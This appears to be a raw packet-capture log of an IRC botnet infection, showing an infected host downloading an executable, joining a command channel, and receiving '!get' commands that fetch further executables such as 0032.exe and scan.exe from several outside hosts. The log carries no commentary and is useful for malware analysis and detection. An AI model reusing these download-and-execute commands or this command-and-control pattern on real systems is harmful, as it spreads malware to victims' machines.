VICTIM: GET /x.exe HTTP/1.0User-Agent: Mozilla/4.0Host: 79.163.173.228:5370 VICTIM: NICK fiuqcmwgUSER w020501 . . :- VICTIM: JOIN &virtu ATTACKER: :* PRIVMSG fiuqcmwg :!get http:/horobl.cn/ex/0032.exe ATTACKER: GET /ex/0032.exe HTTP/1.0User-Agent: DownloadHost: horobl.cnPragma: no-cache ATTACKER: GET /mega/lgate.php?n=6894EED1FCB64848 HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: goasi.cnConnection: Keep-Alive ATTACKER: GET /dll/sp.txt HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: horobl.cnConnection: Keep-Alive ATTACKER: GET /loads.php?r=16.0 HTTP/1.0User-Agent: Microsoft Internet ExplorerHost: spywprotect2009.comPragma: no-cache ATTACKER: PING :i ATTACKER: PONG :i VICTIM: JOIN &virtu ATTACKER: PING :i ATTACKER: PONG :i VICTIM: JOIN &virtu ATTACKER: PING :i ATTACKER: PONG :i VICTIM: JOIN &virtu ATTACKER: PING :i ATTACKER: PONG :i VICTIM: JOIN &virtu ATTACKER: PING :i ATTACKER: PONG :i VICTIM: JOIN &virtu ATTACKER: PING :i ATTACKER: PONG :i VICTIM: JOIN &virtu ATTACKER: :testtest!~testtes@127.0.0.1 JOIN &virtu2:i MODE &virtu2 +o testtest ATTACKER: PING :i ATTACKER: PONG :i VICTIM: JOIN &virtu ATTACKER: :testtest!~testtes@127.0.0.1 PART &virtu2 ATTACKER: :testtest!~testtes@127.0.0.1 PRIVMSG &virtu2 :!get http:/61.235.117.80/scan.exe:testtest!~testtes@127.0.0.1 PART &virtu2 ATTACKER: GET /scan.exe HTTP/1.0User-Agent: DownloadHost: 61.235.117.80Pragma: no-cache